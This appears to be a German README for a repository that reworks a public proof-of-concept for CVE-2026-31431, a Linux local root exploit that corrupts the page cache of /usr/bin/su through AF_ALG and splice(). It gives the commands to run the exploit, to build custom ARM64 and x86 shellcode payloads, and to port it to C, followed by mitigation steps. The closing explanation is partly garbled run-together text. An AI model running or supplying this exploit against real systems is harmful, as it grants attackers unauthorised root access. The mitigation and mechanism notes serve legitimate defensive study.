
Leicht verständliche Version von CVE-2026-31431
Leicht verständliche Version von CVE-2026-31431, einer Privilegienausweitungstechnik, die es jedem ermöglicht, Root zu werden. Der ursprüngliche Proof-of-Concept befindet sich hier: https://github.com/theori-io/copy-fail-CVE-2026-31431, ist jedoch stark komprimiert und minimiert, um einen möglichst kleinen Fußabdruck zu haben. Dieses Repository versucht, diesen Code in einer lesbareren Weise aufzuschlüsseln, einschließlich der Erklärung, was der Code tut, wie die Nutzlast geladen wird und wie verschiedene Architekturen angesprochen werden können. Siehe die technischere Ausarbeitung hier: https://xint.io/blog/copy-fail-linux-distributions.
Standardmäßig führt python3 copyfail.py x64-Shellcode aus, der /usr/bin/su ausnutzt. Sie können Ihre eigene Nutzlast bereitstellen, indem Sie python3 copyfail.py [pfad/zu/eigener/nutzlast.elf] ausführen. Als Beispiel gibt es einen ARM64-Shellcode-Assembler in payloads/. Um also auf ARM64-Geräten zu testen, sollten Sie zuerst eine minimierte Nutzlast mit unserem benutzerdefinierten Linker-Skript erstellen:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
Dann können Sie den Hauptexploit mit python3 copyfail.py shellcode_aarch64.elf ausführen.
Für die Ausführung in C:
./c_copyfail führt denselben Standardshellcode wie oben aus../c_copyfail [pfad/zu/eigener/nutzlast.elf] bereitstellen.Für den Build der C-Version:
cd c_port
make
Insbesondere wird die Ziel-.S-Datei in ein Raw-Binary kompiliert, das als C-unsigned-char-Array ausgegeben wird:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
oder für 32-Bit x86:
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
Sie können dann den Inhalt dieser Datei in Ihren Quellcode kopieren, oder Sie führen direkt ./c_copyfail.exe [pfad/zu/nutzlast.elf] aus, wobei payload.elf mit as + ld erzeugt wird, NICHT mit gcc + objcopy.
Um einen Exploit zu vermeiden, führen Sie aus:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
Wenn bereits ausgenutzt, können Sie die Maschine neu starten oder ausführen:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALG mit der Crypto-API zu kommunizieren.splice() durch den Socket gesendet werden, legt der Kernel die tatsächlichen Page-Cache-Seiten der Datei, die gespliced wurde, in den Crypto-Arbeitsbereich ab./usr/bin/su)/usr/bin/su liest der Kernel die Datei aus dem Page-Cache und erhält modifizierte Bytes./usr/bin/su überschrieben werden, sodass UID = 0 (Root) ist.Die su-Binärdatei ist im Speicher korrumpiert, sodass eine Dateimodifikation nicht erkannt wird. Um von der Festplatte wiederherzustellen, können Sie den Page-Cache leeren.